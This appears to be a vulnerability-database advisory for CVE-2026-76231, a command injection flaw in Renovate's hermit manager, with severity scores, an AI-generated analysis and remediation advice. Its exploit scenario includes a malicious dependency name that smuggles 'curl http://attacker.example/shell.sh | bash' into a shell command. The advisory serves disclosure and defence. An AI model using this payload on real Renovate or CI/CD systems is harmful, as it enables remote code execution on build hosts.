Skip to main content

Renovate CVE-2026-76231

| EUVDEUVD-2026-62472 HIGH
Command Injection (CWE-77)
2026-08-19 VulnCheck GHSA-jjmm-46cq-987q
Command Injection Renovate Red Hat
8.4
CVSS 4.0 · Vendor: VulnCheck
Share

Severity by source

Vendor (VulnCheck) PRIMARY
8.4 HIGH
CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
9.1 CRITICAL

Repository write access required (PR:H); attack is initiated via a network push to a remote repository; scope changes to the broader CI/CD host beyond the Renovate process itself.

3.1 AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Red Hat
6.7 MEDIUM
qualitative

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Local
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
X

Lifecycle Timeline

3
Source Code Evidence Fetched
Aug 19, 2026 - 14:43 vuln.today
Analysis Generated
Aug 19, 2026 - 14:43 vuln.today
CVE Published
Aug 19, 2026 - 14:02 cve.org
HIGH 8.4

DescriptionCVE.org

Renovate versions from 32.135.0 before 40.33.0 contain a command injection vulnerability in the hermit manager where user-provided dependency names are appended to install and uninstall commands without proper sanitization. Attackers with repository write access can provide maliciously named hermit dependencies to execute arbitrary commands on the machine running Renovate.

AnalysisAI

Command injection in Renovate's hermit manager (versions 32.135.0 through 40.33.0) allows an attacker with repository write access to execute arbitrary commands on the machine running Renovate by supplying a maliciously named hermit dependency. The root cause is the unsanitized concatenation of user-controlled depName values directly into ./hermit install and ./hermit uninstall shell commands in lib/modules/manager/hermit/artifacts.ts. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts
Continue with Google Continue with GitHub

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Obtain repository write access
Delivery
Commit malicious hermit dependency name with shell metacharacters
Exploit
Commit tweaked renovate.json5 forcing hermit manager version check
Execution
Renovate bot processes repository
Persist
Unsanitized depName concatenated into ./hermit install shell command
Impact
Arbitrary command executes on Renovate CI/CD host
Sign in to reveal

Vulnerability AssessmentAI

Exploitation Two specific conditions must both be satisfied: first, the attacker must hold repository write access (ability to push commits or merge pull requests to the target repository); second, the repository must actively use Renovate's hermit manager, meaning Hermit-managed dependencies are present and the manager is not excluded via `enabledManagers`. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS 4.0 vector (AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) scores 8.4 and reflects the key risk shape: command execution with full confidentiality, integrity, and availability impact on the vulnerable system, but gated by PR:H (repository write access). … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker with repository write access commits a hermit dependency file with a name containing shell metacharacters-such as `go-1.17; curl http://attacker.example/shell.sh | bash; echo `-and simultaneously commits a `renovate.json5` that uses `customDatasources` and `packageRules` to override the hermit manager's datasource and force Renovate to perceive a new version as available. When the Renovate bot next processes the repository, it constructs the command `./hermit install go-1.17; curl http://attacker.example/shell.sh | bash; echo -1.17.1` and executes it in a shell on the CI/CD host, achieving arbitrary command execution. …
Remediation Upgrade Renovate to version 40.33.0 or later, which fully applies shell escaping via the `quote()` function from the `shlex` package across all hermit install and uninstall command paths (patch commits b696abb3c2741508fbb4029f39153140a3722e1e, eaec10d7c8afadbdd783ac47bd2adbfab444d6df, 41e8b99f86a6e2a56f80f7aa1a08a59d76f2358c, and a70a6a376d31148e80be5a5c885ac33ff5ddb30c). … Detailed patch versions, workarounds, and compensating controls in full report.
Sign in to read full assessment

Recommended ActionAI

Within 24 hours, identify all Renovate instances and their versions by checking CI/CD configurations and audit logs; establish interim access controls restricting repository write permissions to authorized administrators only. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

More in Renovate

View all
CVE-2026-76232 HIGH
8.4 Aug 19

Command injection in Renovate's helmv3 manager (versions 31.51.0 through 40.32.x) allows repository contributors with wr
CVE-2026-76230 HIGH
8.4 Aug 19

Command injection in Renovate's npm manager (versions 35.63.0 through 40.33.0) allows attackers with repository write ac
CVE-2026-76229 HIGH
8.4 Aug 19

Command injection in Renovate's kustomize manager (versions 39.218.0 through 40.33.0) allows repository contributors wit
CVE-2026-76233 HIGH
8.4 Aug 19

Command injection in Renovate's gleam manager (versions 39.53.0 through 40.33.0 exclusive) allows attackers with reposit
CVE-2026-76228 HIGH
8.4 Aug 19

Command injection in Renovate's Gradle Wrapper update mechanism allows arbitrary code execution inside the Renovate runt
CVE-2026-76226 MEDIUM
6.8 Aug 19

Remote code execution in Renovate's bazel-module and bazelisk managers exposes self-hosted instances running versions 43
CVE-2026-76227 MEDIUM
6.8 Aug 19

Environment variable exposure in Renovate (versions 42.68.1 through 42.96.3 and 43.0.0 through 43.4.4) leaks the full pr

Same weakness CWE-77 – Command Injection

View all
CVE-2024-21887 CRITICAL POC
9.1
CVE-2012-1823 CRITICAL POC
9.8
CVE-2016-1555 CRITICAL POC
9.8
CVE-2024-55956 CRITICAL POC
9.8
CVE-2015-2051 HIGH POC
8.8
CVE-2017-6327 HIGH POC
8.8
CVE-2023-34960 CRITICAL POC
9.8
CVE-2023-37679 CRITICAL POC
9.8

Same technique Command Injection

View all
CVE-2024-21887 CRITICAL POC
9.1
CVE-2019-15107 CRITICAL POC
9.8
CVE-2024-51378 CRITICAL POC
9.8
CVE-2012-1823 CRITICAL POC
9.8
CVE-2016-1555 CRITICAL POC
9.8
CVE-2014-6271 CRITICAL POC
9.8
CVE-2024-55956 CRITICAL POC
9.8
CVE-2018-11138 CRITICAL POC
9.8

Vendor StatusVendor

Share

CVE-2026-76231 vulnerability details – vuln.today
Back

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy